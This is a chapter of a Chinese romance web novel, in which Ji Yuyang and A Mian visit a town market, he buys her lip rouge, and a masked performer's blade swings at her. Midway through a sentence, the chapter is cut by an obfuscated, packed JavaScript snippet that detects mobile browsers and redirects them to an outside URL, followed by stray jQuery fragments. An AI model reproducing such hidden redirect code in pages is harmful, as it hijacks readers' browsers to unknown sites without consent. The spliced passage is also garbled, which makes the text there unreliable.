8. 第 8 朵梨花

作品:《恰照梨花先雪

    而离他一尺之外的女子却是摇了摇头,否定道:“并未,只是觉得这玉佩尘封三年之久是时候让它重见天日了。”


    纪玉漾心里猛地一跳,有些迟疑的说:“阿眠,你这是愿意离开这里了?”


    “是,也不是。我的确已经萌生了想要动身的想法,只不过天大地大我还未决定好去哪里。”


    看着眼前人,听到他说出的这些话,竟有些无法张口。


    良久,


    才道:“你这是已经决定了自己独身一人出发?”纪玉漾千算万算,可就是没有想到自己甩出的引子,却是让她走歪了。


    把玉佩重新放回在木匣中,她迎着男人只打过来的目光,语气十分坚定。“每个人都有自己的人生,你如此我亦如此,不过等你伤养好,便也到了我们分别之日。”


    话一字不落的传入耳侧,在纪玉漾听来,简直是字字诛心,慢刀子割肉般难受。


    什么各自的人生,他的人生早已围绕这个叫随栖眠的女子而延长,兜兜转转,阴差阳错才会错过。


    可是现在好不容易才找到她,又怎能放手。


    骨节分明的大掌死死的在身后捏紧,青筋渐渐凸起,喷薄的血液好似都在流动,诉说现在的情非得已。


    没事的,自己会让她改变这个想法,还有些时日。


    纪玉漾并未说出什么觉得不好的话,整理脸上的表情,温和的说:“言之有理,我尊重你的想法。”


    转身之际,阿眠忽而想到什么,她嗫嚅着唇,眼神望向男人的肩膀处。“对了,你肩膀后的那块伤处,我看着有些奇怪。”


    这牙印看起来挺小的一圈,似乎是女子所致。


    她心中有个不成熟的想法,只是还不太能确定。


    哪知纪玉漾脸上却露出了比她还难为情的样子。不紧不慢的开口:“你当真想知道?”


    她点了点头。


    随后,


    清晰的听到他一字一句的吐出:“阿眠,这是、你咬、的。”


    话说得很清楚,于是她听的格外明白。


    眼神闪了闪,顺嘴回道:“那你为何不推开我,我当时肯定意识不清醒。”


    如此下来,那只能是自己病痛发作的那天。


    纪玉漾皮笑肉不笑的瞥了一眼有些慌乱的女子,语气带上了一些无可奈何。“当时正逢桑老施针的紧要关头,动弹不得。”


    手无意识的捏紧木匣,最后像是下定什么决心。


    “这是我的不是,正好明日便是春分,小镇上定是热闹非凡。不如我挑一件礼物送你,赔罪可好?”


    想到了解决之法,说话的时候便镇定多了。


    她听到男子言简意赅的说了声“好。”,方才的慌乱一扫而空,不见踪迹。


    眼下一定,


    第二日破晓的时候。


    两人便搭乘着村里大爷的牛车一同前往。


    一路上,阿眠一直为纪玉漾介绍着沿路的风土人情,一来是因为他定是不了解这些说说也无妨。


    这二来嘛,也是存了点私心,毕竟路途有些遥远又是在将将破晓时分就起来赶路,所以以免他无聊。


    结果没想到,


    纪玉漾看着身边已经闭上眼睡着的女子,目光温柔。


    他往女子的方向微微移动,让两人之间不留空隙。


    衣摆交缠。


    抬起手小心的扶住女子的脸,肩膀也轻轻上抬。


    这时,牛车突然颠簸了一下。


    不偏不倚,女子的脑袋就自己倚靠在了男人宽厚结实的肩膀上。


    纪玉漾心满意足的勾起了一个浅淡的唇角。


    时间不知过了多久,天色已经大亮。


    拉牛的大爷在旁饮着山泉水,嘴里还不停的嚼着干粮。而辛苦了一路的老牛在一旁乖觉的啃着路边杂草。


    阿眠是被纪玉漾喊醒的,一入眼便是他清冷出尘的脸庞。


    错开眼,有些迷糊。


    “这是到了?”


    来往路人熙熙攘攘,街市中小贩叫卖声不绝于耳,好不热闹。


    纪玉漾轻嗯了一声,他先是从牛车上下来,紧接着转身去扶阿眠。


    牛车有些高,先前还有草垛可以助她轻松上去,


    可现在,


    把手放在男子温热的掌心中,阿眠就这样被纪玉漾亲手圈着腰身抱了下来。


    她有些许的不习惯,但看着纪玉漾跟没事人一样。


    就只好隐去内心异样。


    等两人正式进了镇上集市,才正式融入人群的喧嚣纷杂中。


    小镇里,


    麻雀不大,却五脏俱全。沿边摊贩络绎不绝,一眼望去,甚至望不到头。漫步街头,欢声笑语萦绕在耳畔,擦身而过的男男女女衣着朴素,为集市增添了几分繁荣。


    阿眠也甚少出门,对这里也不太熟悉,而纪玉漾那就更不需要说了,初次来到这里。


    但是以前他随军出征也曾被下属拉过去一起逛过。


    所以好歹比阿眠有经验。


    两人随波逐流向人流中走去,一路上人头蹿动,有些拥挤。


    纪玉漾眼见着有一人后退着即将撞上阿眠,眼疾手快地将人往自己怀里拉。这才无事。


    他垂下眼,低声说:“小心,这里人多。”话必,他不容分说地用手拉紧阿眠的衣袖。


    阿眠盯着前方男人的背影,沿着白色衣料看到自己的衣袖被他拉着。


    浅浅的露出了一个安心的笑容。


    沿街商贩叫卖声络绎不绝,一个女子的声音混合在其中。


    “手工做的胭脂,保准小娘子抹上容光焕发。”


    “走过的郎君买上一盒,拿回家给小娘子定然开心。”


    这句话却直直的吸引了纪玉漾的注意,以前的时候也是他们二人喜欢出来逛集市。


    每每一逛,阿眠就在胭脂铺子挺着不走了,非要买到喜欢的不可。


    现在,


    纪玉漾拉着人就来到了那女子的胭脂铺。


    阿眠有些奇怪,她平常不曾用胭脂水粉。于是话脱口而出,“你想要买胭脂?”


    话一出口,才知有些奇怪。他一介男子如何使用女子的东西?


    纪玉漾拿起一罐口脂递送在女子眼前,才有些哭笑不得的回道:“不是,我是看这口脂色泽亮人,想必你会喜欢。”


    闻言,她才接下这罐口脂,用手背轻轻扇动还泛着些淡淡的花香,轻轻一嗅,清香宜人,沁人心脾。


    那守着铺子的女子也是小家碧玉,她见着两位相貌不凡,尤其是那女子从人群中缓缓走来,她一眼便就注意到了。


    她微笑着上前,对阿眠介绍道:“姑娘,我看你生的如此美貌,要是用上我家的口脂那定是能迷晕了去你身旁的公子。”


    说完,还不忘瞥了一眼纪玉漾。这男子也是谪仙般气质容貌,与身旁的女子看起来般配极了,可她卖女儿家胭脂水粉的,自是更喜欢貌美的姑娘。


    阿眠闻言,第一次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957909|161010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被人乱点鸳鸯谱,面上有些羞窘。


    她正想出言解释。


    纪玉漾就插言进来,“这口脂多少钱?我要了。”


    “不贵不贵,也就才一两银子”女子的声音明显的更加热络。


    还未等阿眠出言阻止,两人就一手交钱一手交货。速度之快不可谓不惊人。


    等到走远了,纪玉漾便面带春风的把口脂递给她,还颇为细心的告诉:“这口脂色泽素雅,与你很搭。”


    阿眠:“......”


    “谢谢你送的口脂,我很喜欢。”


    张张唇还想继续说些什么,


    可是,


    于是只能满心欢喜的接下。


    不过她在心里告诉自己,下次若是玉漾公子还要出钱定是要出言提醒的。


    这罐口脂是很合她心意不假,只是不值一两银子,顶多半两银子出头。


    他这是被人当做不懂行的给宰了。


    她垂眼看着手中素白色的罐子,


    不过还是不要告诉玉漾公子好了,以免扰了他的兴致。


    两人继续往前逛着,但是前面人流拥挤,都围绕着一片空地停止不动。


    不免有些好奇,只带两人走进。


    纪玉漾便看到,原是一伙人在搞杂耍,那领头的几位还在玩着前些年就在京城时兴的杂技表演。


    他对这些向来提不起什么兴趣。


    但是,


    转头看向身旁的女子,温柔的侧脸上露出了几分新奇,连带着瞳孔也随着杂技的耍动而收缩。


    俨然很是感兴趣。


    纪玉漾便也在这里安静的陪她看。


    身旁人随着高潮起伏,鼓掌叫好,纷纷嚷着让他们再来一场。


    那些五大三粗的人也不拒绝,又开始了新一轮的表演,只不过无论表演什么,他们脸上的面具一直不曾取下。


    带着青面獠牙的男子从背后咻的一下抽出一把大刀,嘴里一点也不含糊,对准那冷面刀身就是吐出一口火。


    大声喝道:“关公耍大刀!”


    众人见了那更是热火浇头,如热锅上的蚂蚁人群炸开。


    阿眠也不例外,她觉得有趣极了,看的入迷。


    场上人人带着象征着凶煞的面具,张着尖嘴獠牙好像青面阎罗来取人性命。他们围绕耍着大刀的那人跳起了祭祀舞蹈。


    一边跳,一边嘴里振振有词。


    气氛一下子被渲染到了高潮。


    那群人每跳到一个方向,就齐齐微侧俯首,敬拜天地。


    东南西北,只剩一个方向。


    北。


    正好是两人所站之地,因着这方是后来形成的占位,所以两人就自然而然地站在最里。


    离杂耍的人不过空地之余,无人阻挡。


    一切都很正常,


    只是,


    那拿着大刀的面具男人舞到正北方向时,也就是阿眠的面前。


    嘴里不断地向刀身上吐着火,一张面具叫人看不清他的神情。


    一群人手上动作不断,脚步看似毫无节奏的移动。


    眨眼之间就齐齐在两人面前俯身对着天地拜礼。


    纪玉漾看着眼前的缭乱,心里隐隐有些不踏实,而身旁的女子尚未所觉。


    他下意识地松开女子的衣袖,改为拉紧她的手。


    突然,一切都发生在措不及防之间。


    纪玉漾看着在明亮的火焰中直直冲阿眠而来的大刀,瞳孔骤然收缩。